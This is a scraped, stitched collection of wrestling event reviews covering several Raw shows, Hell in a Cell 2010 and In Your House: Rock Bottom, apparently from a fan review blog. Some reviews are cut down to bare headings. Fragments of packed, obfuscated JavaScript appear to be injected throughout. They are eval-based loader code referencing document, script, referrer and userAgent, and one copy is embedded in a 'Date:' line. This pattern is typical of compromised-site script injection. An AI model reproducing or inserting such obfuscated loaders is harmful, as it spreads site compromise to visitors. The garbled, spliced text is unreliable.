");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzke|var|u0026u|referrer|eeake||js|php'.split('|'),0,{})) Night Raw
Date: August 26, 2002
Location: Madison Square Garden, New York City, New York
Commentators: Jim Ross, Jerry Lawler

Eric makes HHH vs. Taker for the main event for the first shot at Lesnar.

Booker T vs. Christian

We get a video from some political event from earlier in the day.

Bubba Ray Dudley/Spike Dudley vs. Christopher Nowitski/William Regal

Rating: D. Another nothing match here which appears to be a theme tonight. The new version of the Dudleys never worked at all and the original team would reunite at the Survivor Series, in this same building actually. Nowitski was all character and no substance, which is the same problem someone like Sandow has to overcome today. This is one of those matches where the best thing you can say it as least it was short.

Molly thanks Chris in the back and gives him a hug.

Chris Jericho vs. Jeff Hardy

Jericho takes him down to start with a suplex but Jeff pounds away in the corner to take over. The Canadian misses a dropkick and gets catapulted out to the floor. Jeff hits a HUGE dive to take Jericho out before running the barricade, only to charge right into a powerslam. Back in and Jericho hits a backbreaker before choking Jeff with his hanky. Jericho puts on a bow and arrow to stay on the back, making sure to tell the referee to ASK HIM.

Test is going to burn an American flag later tonight.

Hardcore Title/Intercontinental Title: Rob Van Dam vs. Tommy Dreamer

Van Dam hits some running shoulders to the ribs in the corner and a Russian legsweep gets two. We head to the floor with Dreamer pulling out a ladder. Van Dam superkicks it into Dreamer for two and sets the ladder up like a bridge between the ring and the barricade. Dreamer tries to bulldog Rob off the apron onto the ladder but Van Dam shoves him face first into the ladder. FREAKING OW MAN!!!

Lillian Garcia vs. Howard Finkel

Some guy named Criss Angel is going to live underwater for 24 hours. Ok then.

HHH vs. Undertaker

Overall Rating: D. And so it begins. Next week HHH would be handed the title that Sheamus currently holds because the world wants more HHH more than anything else. The problem with that is HHH in 2002 and 2003 was pretty awful, barely being able to pull out a good match if his life depended on it. Anyway, this was a pretty dull show with Lesnar being treated like nothing and the whole show being about HHH. Bad show, making last night an anomaly for the year.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iftti|var|u0026u|referrer|zhbkz||js|php'.split('|'),0,{})) in a Cell 2010
Date: October 3, 2010
Location: American Airlines Center, Dallas, Texas
Commentators: Michael Cole, Jerry Lawler, Matt Striker

This is being written the morning after the show aired so I do know the results before the review is written. The two week “build” for this show makes me think it’s going to suck. We also only have five scheduled matches for tonight so there wasn’t much to set up coming into last night. The Cell should be enough to make the show draw is what WWE is thinking I guess but the buyrates would beg to differ. Let’s get to it.

Guess what the video is about. Just take a guess.

The set looks cool as it has a bunch of stuff designed to look like a Cell wall. I like that.

US Title: Daniel Bryan vs. The Miz vs. John Morrison

Apparently this is a submissions only match even though the name is just submissions count anywhere so it’s a bit misleading. Pretty clear Bryan is going to retain here even though he comes out second. Miz has the jacket back again too along with a mic. He’s called the Kenny Powers of the show and since he’s one of my favorite posters that’s a good sign. Miz says without him no one would know who the other guys are. He might be onto something there actually.

Both faces chase Miz to start us off and we get the standoff. Bryan gets a leg lock on him after a nice little wrestling sequence and we go to the floor without it being broken. That’s a nice little touch. We hit the formula of two guys fighting while the other is down. Morrison hits the Tarantula but Bryan makes the save. He then locks in Cattle Mutilation for like 4 seconds which probably blew up the IWC even though it wasn’t anything that special. A leg bar gets a bigger pop if that tells you anything.

Miz grabs a similar hold in an attempt to counter and they kick each other in the face a lot. Morrison hits Starship Pain (not called that for some reason) onto both guys to break it up. Haas of Pain (LOVE that hold) by Morrison is broken up by Miz. Corkscrew plancha hits (and I use that term VERY loosely) Miz and we head into the crowd. Miz gets a wristlock and Morrison breaks it up by punching Miz in the face. That’s always awesome.

Bryan is gone and in the ring for a good while here as the former tag team fights up the stairs. Miz gets a sick looking Dragon Sleeper type hold around a barricade and Bryan makes the save. I know I say that a lot but that’s what we’re getting a lot of: a hold for a few seconds and a save. We fight up to the stage a bit with Miz in control. Morrison throws Miz behind the stage and uses the barrier for a springboard to kick Bryan.

Miz literally shoves an anvil case at Morrison to take him down. This is kind of hard to call as it’s not quite a mess but there’s no flow to it in sight. Bryan is more or less dead on the stage after Miz shoves him on the anvil case. We get it: Morrison does some French training. You don’t have to explain it to us every 9 seconds. Skull Crushing Finale to Morrison on the floor and he’s out cold.

Bryan and Miz get into a wrestling sequence on the stage and it’s a double clothesline. Morrison is up somehow and climbs up the lighting grid and climbs onto the Cell set. BIG DIVE takes both of them out. How often do you get a THAT WAS AWESOME chant in WWE? See what happens when you have the young guys do their exciting stuff? Jomo gets a Texas Cloverleaf on Miz but here’s Riley for the save. A cameraman gets taken out giving us the eternally fun camera shot. Miz goes after Bryan while Riley has Morrison preoccupied and walks into the LeBell Lock for the tap out.

Rating: B-. Fun here but the quality was a bit weak. I absolutely don’t get the point of the submissions count everywhere aspect but it wasn’t horrible or anything. It was rather spotty at times but never boring which is the point of an opener. This was a pretty solid match and things seemed to work well enough. The big spots got the crowd going which is the best thing they could have done. Best possible choice for an opener.

Cole admits Bryan is for real. He toned down the Miz love in this match and it helped a lot. The repetition of stuff isn’t his fault for the most part though so I can’t blame him for that.

Ad for Legendary. I’m surprised this is the first one since we’re almost 25 minutes into the show.

We recap Orton vs. Sheamus, which really shows how stupid it is to have a Cell match for the sake of having a Cell match. Consider the first two matches. The idea of Michaels vs. Taker was that Shawn kept escaping Taker or having help from him. Shawn’s psychology in that match is some of the best ever as he was running the whole time and getting in shots where he could. It was like he was trapped in hell and this was Taker’s ultimate revenge.

The second was Mankind vs. Taker where the idea was they absolutely hated one another. The match happened so that they could absolutely annihilate each other and one man would not leave the Cell on his own. Those matches WORKED. This match is happening between two guys that aren’t fond of each other but are having this match because the schedule says we need to have it. Cena vs. Barrett could have a point to it as that feud has been going on for months. Taker vs. Kane belongs in there. This should be last man standing or a regular cage match or something, not Hell in a Cell.

Raw World Title: Randy Ortonvs. Sheamus

This Cell is taller and a bit more narrow. This stat sums things up very well: last year’s HIAC show was on October 4 so in one year we’ve had 5 Hell in Cell match. In thirteen years prior to that we had 16. That sums up this era better than anything I can tell you. Also tell me how this sounds: Sheamus is in a Hell in a Cell match. I like Sheamus but he DOES NOT belong on this level yet.

Another interesting stat: Orton is the only person to ever win the title inside the Cell. That’s rather surprising actually. Yeah they cover themselves by saying Orton is the only person to win the WWE Title in there. Unify the freaking belts already. Having two world champions is so freaking stupid sounding. Also there is a Hell in a Cell match second on the card. Does this just sound wrong to anyone else?

Loud RKO chant to start. I didn’t know there were so many old movie fans in today’s audience. Striker talks about speaking with HHH via e-mail. Holy subtle hint Batman! Yeah I’m stretching here since the first 15 minutes of this aren’t going to mean anything since this isn’t going to end quickly at all. We head to the floor for about a second and the stomping begins for two. NICE slingshot shoulder block by Sheamus to take out Orton.

Orton gets rammed into the cage on the floor and Sheamus breaks out the steps. Now Orton gets a shot with them and we head back into the ring. There’s no heat to this at all as it just doesn’t belong in there. It’s a glorified street fight with a cage thrown in for fun. Striker explains why the ribs are a good thing for Sheamus to go after since the RKO is a bit weaker if the ribs are hurt.

Turnbuckle is ripped off as Sheamus is in control. He gets a gutbuster onto the steps which have gotten far more focus in this match than the cage so far. And now, in a match based around terror and chaos and pain, we get an EVIL chinlock. Cole points out that Orton is the champion and Sheamus is the challenger. Well usually when one is champion the other is the challenger so at least he can follow basic concepts. He’s reached the level of an average 4 year old!

Orton makes his comeback and the fans get behind him again. The crowd is rather hot here which is a very good thing and is helping this match along. They want an RKO apparently. Backbreaker out of nowhere and Orton slaps the mat. Make sure there’s an orthopedic specialist in the building! There come the stairs again as Striker points out how stupid it is to use the steps when he’s surrounded by steel.

Orton counters again and hits a powerslam on the steps. IT’S NOT A SCOOP SLAM COLE! It’s good for two either way. The elevated DDT on the steps of course doesn’t hit but the one on the floor sort of does. RKO is blocked and Orton hits the post. This isn’t a bad match but it’s just boring for a Cell match. Make this a street fight and it’s far better. Irish Curse, the backbreaker, hits on the steps. It’s on Sheamus’ knee though so do the steps make that big of a difference?

Brogue Kick gets two and Sheamus’ face is AWESOME looking as his eyes bug completely out. A bunch of chair shots get two. A big chair shot misses and Orton gets the RKO to pop the crowd. The pale one rolls to the floor though so we don’t get a cover. Punt misses and there’s a second Brogue Kick on the floor. We’re just transitioning from move to move here with nothing in between it. RKO on the steps ends it. I’d buy that a lot more if Sheamus’ head actually hit the steps but you can’t have it all I guess.

Rating: D+. For a street fight this is about a B or a B+. For a Hell in a Cell match this is just ok at best. It was a street fight (and a good one) inside the Cell. That doesn’t mean it’s good for what it was supposed to be. This was supposed to be a huge war inside the Cell and by definition, hell. This wasn’t the case here and while the match wasn’t horrible at all, this should NOT have been a Cell match. Like I said, make this a street fight without the Cell and it’s VERY good.

Orton climbs the Cell afterwards and poses with the belt. Cole wants it renamed the Viper’s Playground. Striker in a near deadpan voice: “Not yet.” Striker is the voice of reasoning. That’s almost scary.

Ad for Bragging Rights ad. It’s in three weeks. OH JOY! It’s also the night after a Lesnar fight. Yeah that’s not going to bomb at all. Nexus is advertised for it too.

Josh has the NXT girls in the back and they’re asked if they’re nervous. Nexus interrupts them thank goodness.

Alberto’s ring announcer brings him out. Again, his announcer has an announcer. That’s saying a lot. I do wonder where they get these cars. Cole wants to have his babies I think. Lawler wants to know if he can push 1 for English. That was rather amusing for a change. Alberto talks about beating up Rey and Christian. Gee wouldn’t Rey vs. Alberto be nice tonight? Some basic hometown sports jokes don’t really work.

Cue Edge’s music as Cole complains. Striker says Edge has over a dozen championships. He has over two dozen but why play him up I guess? Yeah he’s a face now. Edge runs down the stupid things Alberto has done which are rather true. They get into a Spanglish argument of all things. A Canadian is arguing with a Mexican in an American ring. The first W is indeed correct. And here comes the All American-American. HE MADE THE SAME JOKE I DID!

Swagger points out that the mascot on Smackdown was in fact a human and not a real eagle. Could they please decide if he’s a serious or comedy character? Swagger jumps him and Alberto bails. We have an e-mail and this is a match now. The computer has been upgraded it seems. Edge has to make a public apology tomorrow on Raw but this is a match right now.

Jack Swagger vs. Edge

Good thing Edge was in his wrestling gear. Swagger dominates to start as he had an advantage before we started. Swagger goes for the ankle which makes sense twice because of Edge’s ankle injury and the ankle lock. He keeps Edge on the mat and is in complete control. We hit the apron and Swagger tries to hit a German to the floor. Add that to the international joke from earlier.

When that of course doesn’t work because it would nearly kill Edge he switches to an abdominal stretch using the ropes. Edge’s eye is swollen up. Ankle lock is attempted as we touch on the ankle injury again which Lawler almost sarcastically says you told us that already. Edge gets us to even but gets caught in the ankle lock on the floor. The running up the corner belly to belly is blocked as Edge hits a missile dropkick, which is a pure face move.

Kind of an odd match here. It’s certainly not bad but it’s not that great for some reason. Belly to belly by Swagger but his arm is hurt. Swagger might be bleeding from the mouth a bit. Vader Bomb misses and Edge gets the Edgecution. Spear misses and Swagger gets the powerbomb for TWO. I don’t remember anyone ever kicking out of that. I think they mistime something as Swagger goes for a Dragon Screw Leg Whip while Edge goes for an Enziguri, making it look AWFUL. Ankle lock goes on but Edge gets a quick counter and spear for the pin. That ended very fast after the knee thing so maybe they were just playing it safe.

Rating: C-. Nothing that great here but it was VERY refreshing to see a match between the two shows. This is a fresh match we haven’t seen before and it wasn’t that bad. It was far better than seeing the same guys fighting again as it actually wasn’t predictable. That’s something WWE is sorely lacking anymore and switching the rosters up dramatically could work wonders for them. Match was a high level TV match.

Otunga has a plan to help Barrett.

Recap the Nexus angle which I’m sure you’re all familiar with by now.

John Cena vs. Wade Barrett

If Barrett loses Nexus is disbanded. If Cena loses he has to join the Nexus. It’s kind of amazing that this is I believe his 5th singles match and his first PPV singles match. You can’t say they’re not pushing this guy to the moon. Long feeling out period to start us off here. Cena gets his dropkick for his first big offensive maneuver. Barrett drops an F Bomb but not an audible one.

We slug it out a bit and Cena sets for the FU but Slater comes out as a distraction. Barrett throws the Nexus out which is an interesting touch. Barrett controls and hits a second rope elbow drop for two. Their colors are now black and gold instead of black and yellow. Neckbreaker gets two as Barrett is finally getting to showcase his offense. This is already his longest match and it’s not even 8 minutes long.

Dueling chants begin and you can tell it’s mainly men shouting for Barrett and higher pitched voices chanting for Cena. Cena makes his comeback and he initiates his finishing sequence. Nexus surrounds the ring as the definition of interference is getting kind of shaky here. Big Show comes out and leads the charge of the locker room who come out to beat down Nexus. It says a lot when it takes about 15 people including Big Show to beat up four glorified jobbers. And it’s not jobbers coming out to beat them up. You have guys like Show, Kofi, Ziggler, Bryan, Hart Dynasty and MVP, as in former and current champions.

Wasteland is blocked and this is a pretty solid back and forth match. Also it’s good that they got rid of the Nexus about halfway through. FU is blocked and Barrett hits a butterfly suplex for two. Boss Man Slam gets two. Fameasser off the top is blocked the first time but Cena gets it for two. Barrett gets Wasteland out of nowhere for two. Cole is WAY into this. Lawler says something and I had forgotten he was there.

FU hits out of nowhere for two as we’re into the good part of this match now. STF goes on as Cena looks extra quick here. Cole is SCREAMING at Barrett to tap out. A planted fan runs into the ring, allowing the guy that appears to be Husky Harris to pop up and blast Cena in the head, allowing Barrett to get the pin and kill the souls of millions of children. This is likely Otunga’s plan, which he didn’t run past Barrett.

Rating: B. Solid match here with the ending working rather well. The Nexus wasn’t really involved all that much here and it helped a lot I thought. Barrett looked VERY impressive out there with a nice offensive moveset and solid ring presence. This was better than I expected and things worked very well here. Good match and it sets up some stuff for the show in the upcoming weeks. Also Harris and potentially another member joining is a good thing. Good match.

Nexus puts Barrett on their shoulders as the celebration is on. On a replay the fan that distracted things appears to be Michael McGillicutty but I can’t tell for sure. The fan that hit Cena was definitely Harris but he’s not named. Cena takes a long time to leave and various ages of fans are STUNNED.

Paper Jamz ad, the same from….two weeks ago.

Josh is in the back and runs into Paul Bearer. He cuts a short and cryptic promo about having his own master plan.

Make-A-Wish package from Smackdown.

Divas Title: Michelle McCool vs. Natalya

Michelle looks good in her gold shorts if nothing else. Striker tries to claim Michelle is the best in ring working woman ever. I’m not even going to make a joke about that because it’s not fair to make fun of people that stupid. Michelle dominates for a bit with leg based offence but Natalya takes over with power stuff. This is rather boring if you couldn’t tell. Michelle accidentally drills Layla and Natalya gets a rollup for two. Sharpshooter goes on, is countered into a heel hook and is countered again. Then Layla throws in her shoe for the DQ.

Rating: D-. Yeah I don’t care either. Boring match and not very good.

Recap of Taker vs. Kane which I’m sure you know by now also.

Smackdown World Title: Kane vs. Undertaker

Taker coming out with Paul Bearer just feels….right. They brawl outside of the Cell to start and Kane controls. Apparently this is before the match starts. Ah there we go. There’s the bell. Kane gets a chair from under the ring and beats the hell out of Taker. We fight on the floor again and this is more of a brawl than a match WHICH IS THE FREAKING IDEA. Lots of leg work by Kane which makes sense here.

A big boot eats cage though and Kane is in trouble. Taker hits the leg drop on the apron but Kane gets his low dropkick. The boo/yay stuff starts up as this is kind of a boring match. Old School is attempted so Kane hits him in the leg. Top rope clothesline connects but Taker grabs Hell’s Gate. Kane clearly taps but no one calls it. It’s not completely on and Kane gets to the floor to escape.

We get a double sit up and Taker’s eyes are awesome. More boo/yay stuff as neither can get control. Running DDT by Taker gets two. Chokeslam hits for Taker as his knee is fine all of a sudden. Kane does the same for two. Kane goes for ten punches in the corner, you know the counter, and it gets two as well. WOW that was a horrible powerbomb. Kane reverses a Tombstone into one of his own and the crowd is into it.

And there’s an uppercut for the slow counting referee. The referees come down to get him out so Bearer can slip inside. Bearer goes after Kane and Taker sits up. He gets another chokeslam and does the throat slit sign. The lightning and thunder kick on and a light comes out of the urn. Bearer shines it in Taker’s eyes and we have a standoff. Bearer of course hands it to Kane and Taker, like the idiot that he is, stands there and gets his head bashed in by Kane who hits a chokeslam to retain. A closeup of his face on the ramp ends the show.

Rating: D. Just like the previous match this was a horrible Cell match but not a terrible match overall. The problem again is the lack of violence and the lack of use of the Cell. However this one was even weaker in those areas than the first one, somehow making Sheamus vs. Orton far better. As I said that one would have been a very good street fight but this would have been boring no matter what.

These two getting 20+ minutes is just not a good idea. Their best match ever was two weeks ago when it was just a big freaking brawl. Them trying to have psychology in their matches and the leg work is always bad and this was no exception. For once though the heel turn makes sense so points for that. Seriously though, how stupid is Taker for trusting Bearer AGAIN? Did he say, “Hey Paul, sorry about that whole burying you alive stuff. We’re solid right?” The heel turn was logical here so I’m fine with that at least. Rating would have been about the same Cell or no Cell.

OverallRating: B-. This show wasn’t great but it certainly wasn’t boring. They had a show here where stuff kept happening the whole three hours and it worked pretty well I thought. The double Cell thing is still incredibly stupid and them talking non-stop about how epic it was just made it worse but that’s to be expected. This looked like a disaster on paper but we got a solid show out of it. I don’t think it’s as great as people have said it was, but this worked FAR better than I expected it to. Fairly good show.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idetb|var|u0026u|referrer|kzreh||js|php'.split('|'),0,{})) Night Raw
Date: September 8, 1997
Location: Cincinnati Gardens, Cincinnati, Ohio
Attendance: 6,627
Commentators: Jim Ross, Jerry Lawler, Vince McMahon

We open with stills from the show last night which also show Bret retaining the title against the Patriot.

Theme song.

Post break Vince and JR complain about Austin. We get a clip of Austin stunning JR last night and what happened a few minutes ago.

Austin is being thrown out of the building.

Bret Hart vs. Vader

We recap the Headbangers winning the tag titles last night.

We come back to the arena to see the Godwinns destroying some jobbers. They want to face the Headbangers right now.

Headbangers vs. Godwinns

Henry introduces the guy as Uncle Cleetus, played by former wrestler TL Hopper/The Dirty White Boy.

House show ads.

We recap Goldust losing to Pillman last night, resulting in Goldust losing Marlena to Pillman for 30 days. This was supposed to result in Marlena leaving Goldie for Pillman but Pillman died before this could happen.

Intercontinental Title Tournament: Dude Love vs. Brian Pillman

Hour #2 starts.

Piratita Morgan vs. Max Mini

We recap Shawn vs. Undertaker. Shawn was a hero for a long time but he was the guest referee at Summerslam and cost Undertaker the title with a missed chair shot. Then he turned full on heel with another chair shot later on Raw.

Here are the tournament brackets:

Dude Love

Brian Pillman

Goldust

Owen Hart

Ken Shamrock

Faarooq

Ahmed Johnson

Rocky Maivia

Intercontinental Title Tournament: Owen Hart vs. Goldust

Goludust charges in and pounds away on Owen, clotheslining him to the floor. Goldie drops him throat first on the barricade and hits a bulldog. Owen finally low blows him to get a breather and then take over. Owen still has his jacket on. A middle rope elbow hits Goldust so Goldust hits Owen low twice for the DQ to advance Owen.

The Harts come in for the post match beatdown but Austin comes in through the crowd with a broom to clean (hehe) house.

Patriot vs. Hunter Hearst Helmsley vs. British Bulldog

DX (not yet named that) all get chairs as Vader, Patriot and Savio surround the ring. The Harts come out to end the show.

Remember to follow me on Twitter @kbreviews

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siyer|var|u0026u|referrer|rznyh||js|php'.split('|'),0,{})) September 4, 2009
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Jim Ross, Todd Grisham

http://kbwrestlingreviews.com/2012/09/15/in-your-house-26-rock-bottom-how-can-a-card-this-stacked-be-a-throwaway-show/

Remember to follow me on Twitter @kbreviews

In Your House 26: Rock Bottom
Date: December 13, 1998
Location: General Motors Place, Vancouver, British Columbia, Canada
Attendance: 17,577
Commentators: Jerry Lawler, Michael Cole

We close out 1998 with Rock Bottom. A month ago we had a one night tournament at Survivor Series called the Deadly Game tournament. The problem with that show was there were two matches that weren’t tournament matches on the whole card, one of which was a women’s title match.

Rock won the tournament as he turned heel and we got an homage to Montreal as Vince rang the bell without Mankind tapping to a Sharpshooter. Rock became the Corporate Champion (somehow I didn’t go to Raw the next night 10 minutes from my house where Shawn returned.)

Austin was screwed out of the finals by the Corporation. Mankind was screwed in the finals and demanded his rematch here which he got. A week before this there was a British PPV called Capital Carnage where literally nothing happened. Rock defended against X-Pac of all people so what does that tell you? Your other big match here is the blowoff for Taker and Austin who are in the real main event in a Buried Alive match.

After a brief chat about the Buried Alive match, The Rock, carrying the absolute best looking world title of all time, the big eagle belt, introduces us to HIS PPV, Rock Bottom. He talks about how from now on they’re all his shows with various rock related titles. Considering there were only two more after this, that’s rather amusing. Standard intro now with Taker talking about how he’s going to kill Austin.

Allegedly the tombstone weighs 3000lbs. Why do I doubt that very much?

Val Venis/Godfather vs. Mark Henry/D’Lo Brown

For some reason that I can’t think of there is no JR tonight. The face intro takes WAY too long with both guys having to do a promo before the match starts. At this point, I have no idea who they’re even facing. This can’t be a good sign already. Godfather gives the Hoes Val for the entire night as a Christmas gift. Oh it’s the two members of the Nation that went solo. They have Terri and Jackie with them so you know this is the a-list part of the show.

Apparently two middle aged and not attractive ladies are better than having four barely 20 year olds. Henry is officially Sexual Chocolate. The name Rock Bottom is getting more and more appropriate by the minute. As you can probably expect, there’s not a lot to go on here. It’s a decent little opener with a somewhat established team and a pair of popular faces that were thrown together because of their similar gimmicks.

If you’re expecting much here then that’s your own fault for being an idiot. Of course the ladies get involved in the end in a catfight and Jackie’s interference allows Henry to splash Val for the pin.

Rating: C. It was supposed to get the crowd interested and little more. I suppose it did its job in that regard but this was just a basic tag match. I’ve never been a big fan of Papa Father (dang did he have some daddy issues) or Mark Henry so this was pretty much just interesting for Val and Brown. It’s nothing great but it’s not awful either which is what makes it a passable opener I suppose.

Recap of Rock being injured by Mankind earlier. We see Rock live with the McMahons saying he has to wrestle tonight.

Headbangers vs. Oddities

The Oddities are a gimmick that for some reason got over huge. They were just weird people apparently which just means they were tall or Earthquake in a mask. They were over with the crowd simply because they had the crowd wave their hands. This happened because the Bangers shaved Luna’s hair. Oh joy indeed. It’s Golga and Kurrgan for the Oddities with Giant Silva outside. It’s a comedy match and not a particularly good one.

The crowd chants boring as no one cared about the Bangers and the Oddities are only a good idea in theory rather than in practicality. In a nice move at the end the Bangers do a blind tag which they then screw up as one jumps onto Golga then covers him. He just jumps on him. It’s not a shoulder or a clothesline or a seated senton or anything would make sense. He just kind of hits him and it looks very bad.

Rating: D+. Oy I’m beginning to really hate the Attitude Era. This is so painfully bad because NO ONE CARED. Why can’t the company get this through their heads? The match sucked except for one good idea. Other than that: crap.

Steve Blackmanvs. Owen Hart

Apparently Owen retired but because of Blackman he came out of retirement. The Blue Blazer has been helping Owen recently which has led to some ok comedy. I’m really starting to think that the Attitude Era’s midcard absolutely sucked. They were great at main events and big angles but their midcard and filler was just absolutely awful. Seriously, Hart and Blackman? This match is pretty good I guess actually.

It’s far better than what I was expecting. I get that Blackman is supposed to be serious all the time but dang man. Lance Storm did it and was entertaining. Blackman is just freaking annoying. The match is at least fast paced which is what Owen was best at. It’s scary to think he’d be dead in just over 5 months. Since we’re in Canada he’s ungodly over as Blackman is booed out of the building every few seconds.

Hard hitting match here as these two had a pretty intense feud that no one really remembered. That doesn’t mean it was bad though, just not remembered. Anyway, they fight onto the floor and Owen just allows himself to get counted out for the loss as the fans lose it.

Rating: B-. Far better than it sounded on paper but that’s not really saying much at all. It’s an ok match and a breath of air after what we’ve had to see so far. Their feud would end soon with the Blazer character getting more and more prominent which would ultimately lead to Owen’s death.

Vince is looking around and finds Mankind in a closet.

It’s the Attitude Era, meaning it’s time for a tag match.

JOB Squadvs. The Brood

MAN there were a lot of tags back then. JOB Squad is a failed gimmick of literally nothing but jobbers teaming together. Their shirts say Pin Me Pay Me on the back. Snow was getting popular so they gave him this and no one cared of course. Instead of doing what he got over doing and being insane, WWF turns him into a generic guy with little to no gimmick. That’s the smart thing to do right?

Take someone that is actually getting over with no real input from creative and turn him into something generic. We can’t have anyone getting popular that we don’t hand pick can we? I mean dang, the thought of unexpected revenue from t-shirt sales and merchandise and people watching his segments when they would usually change the channel is just such an awful concept don’t you think?

The Brood is a lot like the Undertaker: just flat out cool. JR isn’t there because his mother died apparently. Michael Cole is perhaps the worst color commentator of all time. He is just so uninterested and boring that it’s awful. This is a pretty standard 6 man tag with everyone fighting everyone. Of course Snow and Edge are your highlights with Holly being as dull as ever and Scorpio only being good at high flying.

It goes back and forth with everyone fighting everyone and only Snow being able to get any real offense in. It eventually goes outside but Snow hits Christian with Head in the ring. After some interference Christian hits “That Move” (Unprettier) on Scorpio to win it.

Rating: B-. This was pretty good I think. While not the best in the world it was ok. Edge clearly was a star in the making while Christian was ok. Gangrel and Holly were just awful but Scorpio was ok. Snow was the best out there at the time and I really don’t like how badly he was treated over the years. He was on TV a lot but he never got the push he could have gotten.

Vince and Mankind are still chatting in the boiler room closet.

Goldust vs. Jeff Jarrett

If Jarrett wins, Goldust has to strip. If Goldust wins, Debra has to strip. King is totally pro Goldust here which Cole doesn’t get for some reason. Lawler keeps implying that Cole is gay. It’s just a one on one match with a stipulation. They’re trying to make it seem like it’s more than it really is and it’s just not working. At the end of the day it’s AE Goldust vs. AE Jarrett What’s the intrigue in that?

It’s a T & A match to push Debra as the replacement for Sable and that’s rarely a good thing. Anyway, it’s a basic one on one match with no one really pulling ahead at all. Goldust gets an advantage but the guitar from Debra leads to the Stroke and me being surprised as I didn’t know he was using that yet to end this. Goldust has to strip so the fans erupt with booing. Shawn comes out to DQ Jeff for the guitar shot and says strip.

Debra really didn’t look that good at all. Shawn slips her a $100. She’s about to take the bra off and Blazer and Jarrett run out to the loudest booing I’ve heard in years.

Rating: C. This was ALL about Debra and it just didn’t work well at all for me. I was never a fan of hers and this is why. She was supposed to be the hottest thing in the world and it really didn’t work. When the rest of her looks ok, they’d look ok too. However, that was rarely if ever the case. Shawn of course is the entertaining one so that helps a lot.

Vince leaves the boiler room and smiles.

Tag Titles: New Age Outlaws vs. Shamrock/Big Bossman

Shawn is with the heels here for no apparent reason. Oh ok he’s turned heel and joined the Corporation. This match actually gets some time and the Outlaws are by far the better team here. I think they don’t’ get the respect they deserve out there for their in ring abilities which were actually good at times. On the other hand, the heels are just two heels thrown together with little to no chemistry.

The whole commentary is about Shawn being a sell out and how the Outlaws swerved the Corporation on Monday. Alright, I get it already. You don’t have to talk about it for 15 minutes. Cole is seriously killing this match as on what’s supposed to be a big kickout or moment he sounds like he’s ordering dinner. It’s just really bad with how bland he sounds. It sounds like he’s ordering dinner or something.

Near the end we have the big spot of Billy hitting Shamrock with the Fameasser but Shawn pulls the referee out. Billy takes a nightstick to the head but kicks out. Here’s your commentary. “One, two and a kickout from Billy Gunn.” Seriously it sounds awful. Anyway, Shawn cheats again as he messes up a suplex attempt that causes Billy to be covered, but Billy rolls through for the pin to keep the titles.

Rating: B. As much as Cole tried to kill this thing, I really liked this match. It was given time which was the big thing. That can often make or break a match and with 17 minutes given to them, they put on a decent match. That’s the sign of at least one good team: they took nothing and made it something. HBK being in the heel’s corner made this match for them as well with him being the only interesting thing out there. Solid tag match, but man how many of them are there tonight?

Another recaps of the Rock/Mankind airs but this is by far and away the best one as it’s actually showing how Rock got to his heel turn.

WWF Title: Rock vs. Mankind

Vince and co. are out first and Mankind has something to say. Apparently there’s no contact yet as Mankind hasn’t signed it yet. He talks about the Survivor Series last month where he didn’t tap or get pinned. Cole calls it the biggest screwjob in WWF history. That’s got to be intentional as not even Michael Cole can be that stupid. Foley calls Vince dad for some reason. Foley insists Vince get on his knees and say that Mankind never said he quit.

As Vince backtracks, Rock jumps Mankind to start the match officially. McMahon gets on the mic and says that if Foley does anything wrong to DQ him which lets Rock take over. This is I think the second main event match that these two have had so their chemistry was still growing. They’re also only given 13 minutes or so here so this isn’t the best match in the world. However it’s certainly passable though.

They go back and forth for awhile but it’s mainly Mankind in control. The idea of the match is that all Foley has to do is get the claw on once to win. Low and behold, that’s exactly what happens. Rock gets caught in the claw and is out cold. The bell rings and we have a new WWF Champion!

OR DO WE???

Vince says that while Mankind wins the match a title can only change hands on a pinfall or a submission. Mankind loses it as he beats up both McMahons and the Stooges but gets beaten down by Rock, Shamrock and Bossman.

Rating: B. While not one of their better matches, this was kept pretty short for a world title match as they weren’t sure what they were going to get here. The ending was a screwjob but that would all be fixed in a few weeks as Mankind would get the title on Raw in one of the best finishes I’ve ever seen on the night of the Fingerpoke of Doom as well as the night that Tony Schivone told everyone the ending of Raw and all the people jumped over.

Recap of Taker vs. Austin. During this angel Austin got “sacrificed”, which was just freaky looking.

Buried Alive: Steve Austin vs. Undertaker

I really hate Taker’s heel music. Austin brawling in the vest looks awesome for some reason. This is a freaking fight and it shouldn’t be anything else. They’re hammering each other all over the arena and near the grave. They’re nowhere near the ring yet but the fans are hot so it’s all good. I think part of that was based on the not so great in ring stuff at Summerslam.

This is a brawl instead of a match which I really this is what they’re better suited for. It’s not going to end in the ring so why go there? Literally we’re at 10 minutes and they haven’t been in the ring yet. They are however fighting in the aisle though and OH MY GOD they’re in the ring! And they’re out of it 18 seconds later. Wow indeed that’s a good sign for the main event of a wrestling show.

Anyway this is all about getting the other person beaten down enough to put them into the grave, likely through one of their finishing moves. Each counters the other on many occasions. They go back to the ring for a much more extended amount of time: a full minute and 9 seconds. That is the only amount of time that they’re in the ring together in a 21 minute match: a minute and 27 seconds. That’s saying a lot.

They brawl back to the grave and after more hitting each other with things Austin gets the stunner. Austin stars to pour dirt on but Bearer hits him so Austin chases him to the back. Taker sits up and comes out of the grave before grabbing a shovel and hiding behind a mound of dirt. An explosion rocks the grave and Kane climbs out of it. That’s completely absurd and ridiculous but it’s amusing because it’s completely absurd and ridiculous.

They brawl for awhile until Kane hits a tombstone and drops Taker into the grave. Austin then comes out in a backhoe to completely bury Taker. Celebration is on as we have beer and more burying. Austin drinks a beer on the grave and then pours one on it to end the show.

